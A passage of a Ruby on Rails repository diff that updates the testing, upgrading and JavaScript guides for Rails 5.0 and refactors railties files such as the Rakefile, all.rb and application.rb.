how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory. -When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself. +When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator, you'll have to create those files yourself. #### The Basic Test Case @@ -1114,10 +1151,13 @@ require 'test_helper' class UserMailerTest < ActionMailer::TestCase test "invite" do + # Create the email and store it for further assertions + email = UserMailer.create_invite('me@example.com', + 'friend@example.com', Time.now) + # Send the email, then test that it got queued assert_emails 1 do - email = UserMailer.create_invite('me@example.com', - 'friend@example.com', Time.now).deliver_now + email.deliver_now end # Test the body of the sent email contains what we expect it to @@ -1152,9 +1192,9 @@ testing) but instead it will be appended to an array (`ActionMailer::Base.deliveries`). NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in -`ActionMailer::TestCase` tests. If you want to have a clean slate outside Action -Mailer tests, you can reset it manually with: -`ActionMailer::Base.deliveries.clear` +`ActionMailer::TestCase` and `ActionDispatch::IntegrationTest` tests. +If you want to have a clean slate outside these test cases, you can reset it +manually with: `ActionMailer::Base.deliveries.clear` ### Functional Testing @@ -1163,10 +1203,10 @@ Functional testing for mailers involves more than just checking that the email b ```ruby require 'test_helper' -class UserControllerTest < ActionController::TestCase +class UserControllerTest < ActionDispatch::IntegrationTest test "invite friend" do assert_difference 'ActionMailer::Base.deliveries.size', +1 do - post :invite_friend, params: { email: 'friend@example.com' } + post invite_friend_url, params: { email: 'friend@example.com' } end invite_email = ActionMailer::Base.deliveries.last @@ -1181,7 +1221,7 @@ Testing Jobs ------------ Since your custom jobs can be queued at different levels inside your application, -you'll need to test both jobs themselves (their behavior when they get enqueued) +you'll need to test both, the jobs themselves (their behavior when they get enqueued) and that other entities correctly enqueue them. ### A Basic Test Case @@ -1229,15 +1269,25 @@ class ProductTest < ActiveJob::TestCase end ``` -Other Testing Approaches ------------------------- +Additional Testing Resources +---------------------------- + +### Testing Time-Dependent Code + +Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected. -The built-in `minitest` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including: +Here is an example using the [`travel_to`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to) helper: + +```ruby +# Lets say that a user is eligible for gifting a month after they register. +user = User.create(name: 'Gaurish', activation_date: Date.new(2004, 10, 24)) +assert_not user.applicable_for_gifting? +travel_to Date.new(2004, 11, 24) do + assert_equal Date.new(2004, 10, 24), user.activation_date # inside the travel_to block `Date.current` is mocked + assert user.applicable_for_gifting? +end +assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block. +``` -* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use. -* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures. -* [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run. -* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests. -* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions. -* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework -* [Capybara](http://jnicklas.github.com/capybara/), Acceptance test framework for web applications +Please see [`ActiveSupport::TimeHelpers` API Documentation](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html) +for in-depth information about the available time helpers. diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md index 05c46a9e76..59eddb6302 100644 --- a/guides/source/upgrading_ruby_on_rails.md +++ b/guides/source/upgrading_ruby_on_rails.md @@ -16,26 +16,41 @@ Before attempting to upgrade an existing application, you should be sure you hav The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade. +### The Upgrade Process + +When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API. + +The process should go as follows: + +1. Write tests and make sure they pass. +2. Move to the latest patch version after your current version. +3. Fix tests and deprecated features. +4. Move to the latest patch version of the next minor version. + +Repeat this process until you reach your target Rails version. Each time you move versions, you will need to change the Rails version number in the Gemfile (and possibly other gem versions) and run `bundle update`. Then run the Update task mentioned below to update configuration files, then run your tests. + +You can find a list of all released Rails versions [here](https://rubygems.org/gems/rails/versions). + ### Ruby Versions Rails generally stays close to the latest released Ruby version when it's released: -* Rails 5 requires Ruby 2.2.1 or newer. +* Rails 5 requires Ruby 2.2.2 or newer. * Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer. * Rails 3.2.x is the last branch to support Ruby 1.8.7. * Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible. TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing. -### The Rake Task +### The Update Task -Rails provides the `rails:update` rake task. After updating the Rails version -in the Gemfile, run this rake task. +Rails provides the `app:update` task (`rails:update` on 4.2 and earlier). After updating the Rails version +in the Gemfile, run this task. This will help you with the creation of new files and changes of old files in an interactive session. ```bash -$ rake rails:update +$ rails app:update identical config/boot.rb exist config conflict config/routes.rb @@ -53,28 +68,72 @@ Don't forget to review the difference, to see if there were any unexpected chang Upgrading from Rails 4.2 to Rails 5.0 ------------------------------------- -### Halting callback chains by returning `false` +### Ruby 2.2.2+ + +From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported version. +Make sure you are on Ruby 2.2.2 version or greater, before you proceed. + +### Active Record models now inherit from ApplicationRecord by default + +In Rails 4.2 an Active Record model inherits from `ActiveRecord::Base`. In Rails 5.0, +all models inherit from `ApplicationRecord`. -In Rails 4.2, when a 'before' callback returns `false` in ActiveRecord, -ActiveModel and ActiveModel::Validations, then the entire callback chain -is halted. In other words, successive 'before' callbacks are not executed, -and neither is the action wrapped in callbacks. +`ApplicationRecord` is a new superclass for all app models, analogous to app +controllers subclassing `ApplicationController` instead of +`ActionController::Base`. This gives apps a single spot to configure app-wide +model behavior. -In Rails 5.0, returning `false` in a callback will not have this side effect -of halting the callback chain. Instead, callback chains must be explicitly -halted by calling `throw(:abort)`. +When upgrading from Rails 4.2 to Rails 5.0 you need to create an +`application_record.rb` file in `app/models/` and add the following content: -When you upgrade from Rails 4.2 to Rails 5.0, returning `false` in a callback -will still halt the callback chain, but you will receive a deprecation warning -about this upcoming change. +``` +class ApplicationRecord < ActiveRecord::Base + self.abstract_class = true +end +``` + +### Halting callback chains via `throw(:abort)` + +In Rails 4.2, when a 'before' callback returns `false` in Active Record +and Active Model, then the entire callback chain is halted. In other words, +successive 'before' callbacks are not executed, and neither is the action wrapped +in callbacks. + +In Rails 5.0, returning `false` in an Active Record or Active Model callback +will not have this side effect of halting the callback chain. Instead, callback +chains must be explicitly halted by calling `throw(:abort)`. + +When you upgrade from Rails 4.2 to Rails 5.0, returning `false` in those kind of +callbacks will still halt the callback chain, but you will receive a deprecation +warning about this upcoming change. When you are ready, you can opt into the new behavior and remove the deprecation warning by adding the following configuration to your `config/application.rb`: - config.active_support.halt_callback_chains_on_return_false = false + ActiveSupport.halt_callback_chains_on_return_false = false + +Note that this option will not affect Active Support callbacks since they never +halted the chain when any value was returned. See [#17227](https://github.com/rails/rails/pull/17227) for more details. +### ActiveJob jobs now inherit from ApplicationJob by default + +In Rails 4.2 an ActiveJob inherits from `ActiveJob::Base`. In Rails 5.0 this +behavior has changed to now inherit from `ApplicationJob`. + +When upgrading from Rails 4.2 to Rails 5.0 you need to create an +`application_job.rb` file in `app/jobs/` and add the following content: + +``` +class ApplicationJob < ActiveJob::Base +end +``` + +Then make sure that all your job classes inherit from it. + +See [#19034](https://github.com/rails/rails/pull/19034) for more details. + Upgrading from Rails 4.1 to Rails 4.2 ------------------------------------- @@ -125,7 +184,7 @@ the logs. In the next version, these errors will no longer be suppressed. Instead, the errors will propagate normally just like in other Active Record callbacks. -When you define a `after_rollback` or `after_commit` callback, you +When you define an `after_rollback` or `after_commit` callback, you will receive a deprecation warning about this upcoming change. When you are ready, you can opt into the new behavior and remove the deprecation warning by adding following configuration to your @@ -281,7 +340,7 @@ end The migration DSL has been expanded to support foreign key definitions. If you've been using the Foreigner gem, you might want to consider removing it. Note that the foreign key support of Rails is a subset of Foreigner. This means -that not every Foreigner definition can be fully replaced by it's Rails +that not every Foreigner definition can be fully replaced by its Rails migration DSL counterpart. The migration procedure is as follows: @@ -297,11 +356,11 @@ Upgrading from Rails 4.0 to Rails 4.1 ### CSRF protection from remote `<script>` tags -Or, "whaaat my tests are failing!!!?" +Or, "whaaat my tests are failing!!!?" or "my `<script>` widget is busted!!" Cross-site request forgery (CSRF) protection now covers GET requests with -JavaScript responses, too. This prevents a third-party site from referencing -your JavaScript URL and attempting to run it to extract sensitive data. +JavaScript responses, too. This prevents a third-party site from remotely +referencing your JavaScript with a `<script>` tag to extract sensitive data. This means that your functional and integration tests that use @@ -317,8 +376,9 @@ xhr :get, :index, format: :js to explicitly test an `XmlHttpRequest`. -If you really mean to load JavaScript from remote `<script>` tags, skip CSRF -protection on that action. +Note: Your own `<script>` tags are treated as cross-origin and blocked by +default, too. If you really mean to load JavaScript from `<script>` tags, +you must now explicitly skip CSRF protection on those actions. ### Spring @@ -443,7 +503,7 @@ If your application currently depend on MultiJSON directly, you have a few optio WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with `JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and -deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load). +deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/json/rdoc/JSON.html#method-i-load). #### JSON gem compatibility @@ -866,6 +926,20 @@ this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options. * To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders). +* Rails 4.0 has changed to default join table for `has_and_belongs_to_many` relations to strip the common prefix off the second table name. Any existing `has_and_belongs_to_many` relationship between models with a common prefix must be specified with the `join_table` option. For example: + +```ruby +CatalogCategory < ActiveRecord::Base + has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products' +end + +CatalogProduct < ActiveRecord::Base + has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products' +end +``` + +* Note that the prefix takes scopes into account as well, so relations between `Catalog::Category` and `Catalog::Product` or `Catalog::Category` and `CatalogProduct` need to be updated similarly. + ### Active Resource Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile. @@ -895,7 +969,7 @@ Rails 4.0 extracted Active Resource to its own gem. If you still need the featur Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete. -If you are relying on the ability for external applications or Javascript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns. +If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns. * Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty. @@ -909,6 +983,8 @@ Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for d * Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature. +* Rails 4.0 changes the default `layout` lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil. + * Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`. * Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature. @@ -1053,7 +1129,7 @@ config.active_record.auto_explain_threshold_in_seconds = 0.5 ### config/environments/test.rb -The `mass_assignment_sanitizer` configuration setting should also be be added to `config/environments/test.rb`: +The `mass_assignment_sanitizer` configuration setting should also be added to `config/environments/test.rb`: ```ruby # Raise exception on mass assignment protection for Active Record models @@ -1154,8 +1230,10 @@ You can help test performance with these additions to your test environment: ```ruby # Configure static asset server for tests with Cache-Control for performance -config.serve_static_files = true -config.static_cache_control = 'public, max-age=3600' +config.public_file_server.enabled = true +config.public_file_server.headers = { + 'Cache-Control' => 'public, max-age=3600' +} ``` ### config/initializers/wrap_parameters.rb diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md index e3856a285a..c1dfcab6f3 100644 --- a/guides/source/working_with_javascript_in_rails.md +++ b/guides/source/working_with_javascript_in_rails.md @@ -81,7 +81,7 @@ Awkward, right? We could pull the function definition out of the click handler, and turn it into CoffeeScript: ```coffeescript -paintIt = (element, backgroundColor, textColor) -> +@paintIt = (element, backgroundColor, textColor) -> element.style.backgroundColor = backgroundColor if textColor? element.style.color = textColor @@ -107,7 +107,7 @@ attribute to our link, and then bind a handler to the click event of every link that has that attribute: ```coffeescript -paintIt = (element, backgroundColor, textColor) -> +@paintIt = (element, backgroundColor, textColor) -> element.style.backgroundColor = backgroundColor if textColor? element.style.color = textColor @@ -148,10 +148,10 @@ and Rails has got your back in those cases. Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two parts: the JavaScript half and the Ruby half. +Unless you have disabled the Asset Pipeline, [rails.js](https://github.com/rails/jquery-ujs/blob/master/src/rails.js) provides the JavaScript half, and the regular Ruby view helpers add appropriate -tags to your DOM. The CoffeeScript in rails.js then listens for these -attributes, and attaches appropriate handlers. +tags to your DOM. ### form_for @@ -191,34 +191,6 @@ $(document).ready -> Obviously, you'll want to be a bit more sophisticated than that, but it's a start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax). -Another possibility is returning javascript directly from the server side on -remote calls: - -```ruby -# articles_controller -def create - respond_to do |format| - if @article.save - format.html { ... } - format.js do - render js: <<-endjs - alert('Article saved successfully!'); - window.location = '#{article_path(@article)}'; - endjs - end - else - format.html { ... } - format.js do - render js: "alert('There are empty fields in the form!');" - end - end - end -end -``` - -NOTE: If javascript is disabled in the user browser, `format.html { ... }` -block should be executed as fallback. - ### form_tag [`form_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag) @@ -286,7 +258,7 @@ this generates ```html <form action="/articles/1" class="button_to" data-remote="true" method="post"> - <div><input type="submit" value="An article"></div> + <input type="submit" value="An article" /> </form> ``` @@ -356,7 +328,7 @@ this: respond_to do |format| if @user.save format.html { redirect_to @user, notice: 'User was successfully created.' } - format.js {} + format.js format.json { render json: @user, status: :created, location: @user } else format.html { render action: "new" } @@ -378,28 +350,28 @@ $("<%= escape_javascript(render @user) %>").appendTo("#users"); Turbolinks ---------- -Rails 4 ships with the [Turbolinks gem](https://github.com/rails/turbolinks). -This gem uses Ajax to speed up page rendering in most applications. +Rails ships with the [Turbolinks library](https://github.com/turbolinks/turbolinks), +which uses Ajax to speed up page rendering in most applications. ### How Turbolinks Works Turbolinks attaches a click handler to all `<a>` on the page. If your browser supports -[PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState()_method), +[PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState%28%29_method), Turbolinks will make an Ajax request for the page, parse the response, and replace the entire `<body>` of the page with the `<body>` of the response. It will then use PushState to change the URL to the correct one, preserving refresh semantics and giving you pretty URLs. The only thing you have to do to enable Turbolinks is have it in your Gemfile, -and put `//= require turbolinks` in your CoffeeScript manifest, which is usually +and put `//= require turbolinks` in your JavaScript manifest, which is usually `app/assets/javascripts/application.js`. -If you want to disable Turbolinks for certain links, add a `data-no-turbolink` +If you want to disable Turbolinks for certain links, add a `data-turbolinks="false"` attribute to the tag: ```html -<a href="..." data-no-turbolink>No turbolinks here</a>. +<a href="..." data-turbolinks="false">No turbolinks here</a>. ``` ### Page Change Events @@ -417,13 +389,13 @@ event that this relies on will not be fired. If you have code that looks like this, you must change your code to do this instead: ```coffeescript -$(document).on "page:change", -> +$(document).on "turbolinks:load", -> alert "page has loaded!" ``` For more details, including other events you can bind to, check out [the Turbolinks -README](https://github.com/rails/turbolinks/blob/master/README.md). +README](https://github.com/turbolinks/turbolinks/blob/master/README.md). Other Resources --------------- diff --git a/install.rb b/install.rb deleted file mode 100644 index 96e4153165..0000000000 --- a/install.rb +++ /dev/null @@ -1,16 +0,0 @@ -version = ARGV.pop - -if version.nil? - puts "Usage: ruby install.rb version" - exit(64) -end - -%w( activesupport activemodel activerecord actionpack actionview actionmailer railties activejob ).each do |framework| - puts "Installing #{framework}..." - `cd #{framework} && gem build #{framework}.gemspec && gem install #{framework}-#{version}.gem --no-ri --no-rdoc && rm #{framework}-#{version}.gem` -end - -puts "Installing rails..." -`gem build rails.gemspec` -`gem install rails-#{version}.gem --no-ri --no-rdoc ` -`rm rails-#{version}.gem` diff --git a/load_paths.rb b/load_paths.rb deleted file mode 100644 index 0ad8fcfeda..0000000000 --- a/load_paths.rb +++ /dev/null @@ -1,3 +0,0 @@ -# bust gem prelude -require 'bundler' -Bundler.setup diff --git a/rails.gemspec b/rails.gemspec index 23404da9be..8f9cc181a0 100644 --- a/rails.gemspec +++ b/rails.gemspec @@ -7,14 +7,14 @@ Gem::Specification.new do |s| s.summary = 'Full-stack web application framework.' s.description = 'Ruby on Rails is a full-stack web framework optimized for programmer happiness and sustainable productivity. It encourages beautiful code by favoring convention over configuration.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.required_rubygems_version = '>= 1.8.11' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' s.files = ['README.md'] @@ -25,8 +25,9 @@ Gem::Specification.new do |s| s.add_dependency 'activerecord', version s.add_dependency 'actionmailer', version s.add_dependency 'activejob', version + s.add_dependency 'actioncable', version s.add_dependency 'railties', version s.add_dependency 'bundler', '>= 1.3.0', '< 2.0' - s.add_dependency 'sprockets-rails' + s.add_dependency 'sprockets-rails', '>= 2.0.0' end diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md index f4a8cf86b6..41fbf9044c 100644 --- a/railties/CHANGELOG.md +++ b/railties/CHANGELOG.md @@ -1,129 +1,2 @@ -* Add a new-line to the end of route method generated code. - We need to add a `\n`, because we cannot have two routes - in the same line. - - *arthurnn* - -* Add `rake initializer` - - This task prints out initializers for an application. It is useful to - develop a rubygem which involves the initialization process. - - *Naoto Kaneko* - -* Created rake restart task. Restarts your Rails app by touching the - `tmp/restart.txt`. - - Fixes #18876. - - *Hyonjee Joo* - -* Add `config/initializers/active_record_belongs_to_required_by_default.rb` - - Newly generated Rails apps have a new initializer called - `active_record_belongs_to_required_by_default.rb` which sets the value of - the configuration option `config.active_record.belongs_to_requred_by_default` - to `true` when ActiveRecord is not skipped. - - As a result, new Rails apps require `belongs_to` association on model - to be valid. - - This initializer is *not* added when running `rake rails:update`, so - old apps ported to Rails 5 will work without any change. - - *Josef Šimánek* - -* `delete` operations in configurations are run last in order to eliminate - 'No such middleware' errors when `insert_before` or `insert_after` are added - after the `delete` operation for the middleware being deleted. - - Fixes: #16433. - - *Guo Xiang Tan* - -* Newly generated applications get a `README.md` in Markdown. - - *Xavier Noria* - -* Remove the documentation tasks `doc:app`, `doc:rails`, and `doc:guides`. - - *Xavier Noria* - -* Force generated routes to be inserted into routes.rb - - *Andrew White* - -* Don't remove all line endings from routes.rb when revoking scaffold. - - Fixes #15913. - - *Andrew White* - -* Rename `--skip-test-unit` option to `--skip-test` in app generator - - *Melanie Gilman* - -* Add the `method_source` gem to the default Gemfile for apps - - *Sean Griffin* - -* Drop old test locations from `rake stats` - - test/functional - - test/unit - - *Ravil Bayramgalin* - -* Update `rake stats` to correctly count declarative tests - as methods in `_test.rb` files. - - *Ravil Bayramgalin* - -* Remove deprecated `test:all` and `test:all:db` tasks. - - *Rafael Mendonça França* - -* Remove deprecated `Rails::Rack::LogTailer`. - - *Rafael Mendonça França* - -* Remove deprecated `RAILS_CACHE` constant. - - *Rafael Mendonça França* - -* Remove deprecated `serve_static_assets` configuration. - - *Rafael Mendonça França* - -* Use local variables in `_form.html.erb` partial generated by scaffold. - - *Andrew Kozlov* - -* Add `config/initializers/callback_terminator.rb` - - Newly generated Rails apps have a new initializer called - `callback_terminator.rb` which sets the value of the configuration option - `config.active_support.halt_callback_chains_on_return_false` to `false`. - - As a result, new Rails apps do not halt callback chains when a callback - returns `false`; only when they are explicitly halted with `throw(:abort)`. - - The terminator is *not* added when running `rake rails:update`, so returning - `false` will still work on old apps ported to Rails 5, displaying a - deprecation warning to prompt users to update their code to the new syntax. - - *claudiob* - -* Generated fixtures won't use the id when generated with references attributes. - - *Pablo Olmos de Aguilera Corradini* - -* Add `--skip-action-mailer` option to the app generator. - - *claudiob* - -* Autoload any second level directories called `app/*/concerns`. - - *Alex Robbin* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/railties/CHANGELOG.md) for previous changes. diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE index 7c2197229d..1f496cf280 100644 --- a/railties/MIT-LICENSE +++ b/railties/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2015 David Heinemeier Hansson +Copyright (c) 2004-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the @@ -17,4 +17,4 @@ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/railties/RDOC_MAIN.rdoc b/railties/RDOC_MAIN.rdoc index 8d847eaa1c..26a25ee9dc 100644 --- a/railties/RDOC_MAIN.rdoc +++ b/railties/RDOC_MAIN.rdoc @@ -51,13 +51,13 @@ can read more about Action Pack in its {README}[link:files/actionpack/README_rdo 4. Go to http://localhost:3000 and you'll see: - "Welcome aboard: You're riding Ruby on Rails!" + "Yay! You’re on Rails!" 5. Follow the guidelines to start developing your application. You may find the following resources handy: * The \README file created within your application. * {Getting Started with \Rails}[http://guides.rubyonrails.org/getting_started.html]. -* {Ruby on \Rails Tutorial}[http://ruby.railstutorial.org/ruby-on-rails-tutorial-book]. +* {Ruby on \Rails Tutorial}[http://www.railstutorial.org/book]. * {Ruby on \Rails Guides}[http://guides.rubyonrails.org]. * {The API Documentation}[http://api.rubyonrails.org]. diff --git a/railties/Rakefile b/railties/Rakefile index 9a377ce4ee..3421d9b464 100644 --- a/railties/Rakefile +++ b/railties/Rakefile @@ -1,8 +1,10 @@ require 'rake/testtask' -require 'rubygems/package_task' task :default => :test +task :package +task "package:clean" + desc "Run all unit tests" task :test => 'test:isolated' @@ -27,24 +29,7 @@ end Rake::TestTask.new('test:regular') do |t| t.libs << 'test' << "#{File.dirname(__FILE__)}/../activesupport/lib" t.pattern = 'test/**/*_test.rb' - t.warning = true + t.warning = false t.verbose = true t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION) end - -# Generate GEM ---------------------------------------------------------------------------- - -spec = eval(File.read('railties.gemspec')) - -Gem::PackageTask.new(spec) do |pkg| - pkg.gem_spec = spec -end - -# Publishing ------------------------------------------------------- - -desc "Release to rubygems" -task :release => :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end diff --git a/railties/bin/rails b/railties/exe/rails index 82c17cabce..82c17cabce 100755 --- a/railties/bin/rails +++ b/railties/exe/rails diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb index b1f7c29b5a..fe789f3c2a 100644 --- a/railties/lib/rails.rb +++ b/railties/lib/rails.rb @@ -52,6 +52,11 @@ module Rails end end + # Returns a Pathname object of the current rails project, + # otherwise it returns nil if there is no project: + # + # Rails.root + # # => #<Pathname:/Users/someuser/some/path/project> def root application && application.config.root end @@ -94,6 +99,11 @@ module Rails groups end + # Returns a Pathname object of the public folder of the current + # rails project, otherwise it returns nil if there is no project: + # + # Rails.public_path + # # => #<Pathname:/Users/someuser/some/path/project/public> def public_path application && Pathname.new(application.paths["public"].first) end diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb index 45361fca83..1a7f7855f1 100644 --- a/railties/lib/rails/all.rb +++ b/railties/lib/rails/all.rb @@ -1,16 +1,17 @@ -require "rails" +require 'rails' %w( - active_record - action_controller - action_view - action_mailer - active_job - rails/test_unit - sprockets -).each do |framework| + active_record/railtie + action_controller/railtie + action_view/railtie + action_mailer/railtie + active_job/railtie + action_cable/engine + rails/test_unit/railtie + sprockets/railtie +).each do |railtie| begin - require "#{framework}/railtie" + require railtie rescue LoadError end end diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb index a082932632..d478bbf9e8 100644 --- a/railties/lib/rails/api/task.rb +++ b/railties/lib/rails/api/task.rb @@ -57,6 +57,13 @@ module Rails ) }, + 'actioncable' => { + :include => %w( + README.md + lib/action_cable/**/*.rb + ) + }, + 'railties' => { :include => %w( README.rdoc diff --git a/railties/lib/rails/app_rails_loader.rb b/railties/lib/rails/app_loader.rb index 39d8007333..af004d85bf 100644 --- a/railties/lib/rails/app_rails_loader.rb +++ b/railties/lib/rails/app_loader.rb @@ -1,7 +1,8 @@ require 'pathname' +require 'rails/version' module Rails - module AppRailsLoader + module AppLoader # :nodoc: extend self RUBY = Gem.ruby @@ -9,13 +10,13 @@ module Rails BUNDLER_WARNING = <<EOS Looks like your app's ./bin/rails is a stub that was generated by Bundler. -In Rails 4, your app's bin/ directory contains executables that are versioned +In Rails #{Rails::VERSION::MAJOR}, your app's bin/ directory contains executables that are versioned like any other source code, rather than stubs that are generated on demand. Here's how to upgrade: bundle config --delete bin # Turn off Bundler's stub generator - rake rails:update:bin # Use the new Rails 4 executables + rails app:update:bin # Use the new Rails 5 executables git add bin # Add bin/ to source control You may need to remove bin/ from your .gitignore as well. @@ -28,7 +29,7 @@ generate it and add it to source control: EOS - def exec_app_rails + def exec_app original_cwd = Dir.pwd loop do diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb index e9683d4a95..ed106c9918 100644 --- a/railties/lib/rails/application.rb +++ b/railties/lib/rails/application.rb @@ -1,4 +1,4 @@ -require 'fileutils' +require 'yaml' require 'active_support/core_ext/hash/keys' require 'active_support/core_ext/object/blank' require 'active_support/key_generator' @@ -6,8 +6,7 @@ require 'active_support/message_verifier' require 'rails/engine' module Rails - # In Rails 3.0, a Rails::Application object was introduced which is nothing more than - # an Engine but with the responsibility of coordinating the whole boot process. + # An Engine with the responsibility of coordinating the whole boot process. # # == Initialization # @@ -74,8 +73,7 @@ module Rails # the configuration. # # If you decide to define rake tasks, runners, or initializers in an - # application other than +Rails.application+, then you must run those - # these manually. + # application other than +Rails.application+, then you must run them manually. class Application < Engine autoload :Bootstrap, 'rails/application/bootstrap' autoload :Configuration, 'rails/application/configuration' @@ -113,7 +111,7 @@ module Rails attr_accessor :assets, :sandbox alias_method :sandbox?, :sandbox - attr_reader :reloaders + attr_reader :reloaders, :reloader, :executor delegate :default_url_options, :default_url_options=, to: :routes @@ -131,6 +129,10 @@ module Rails @message_verifiers = {} @ran_load_hooks = false + @executor = Class.new(ActiveSupport::Executor) + @reloader = Class.new(ActiveSupport::Reloader) + @reloader.executor = @executor + # are these actually used? @initial_variable_values = initial_variable_values @block = block @@ -156,26 +158,20 @@ module Rails self end - # Implements call according to the Rack API. It simply - # dispatches the request to the underlying middleware stack. - def call(env) - req = ActionDispatch::Request.new env - env["ORIGINAL_FULLPATH"] = req.fullpath - env["ORIGINAL_SCRIPT_NAME"] = req.script_name - super(env) - end - # Reload application routes regardless if they changed or not. def reload_routes! routes_reloader.reload! end - # Return the application's KeyGenerator + # Returns the application's KeyGenerator def key_generator # number of iterations selected based on consultation with the google security # team. Details at 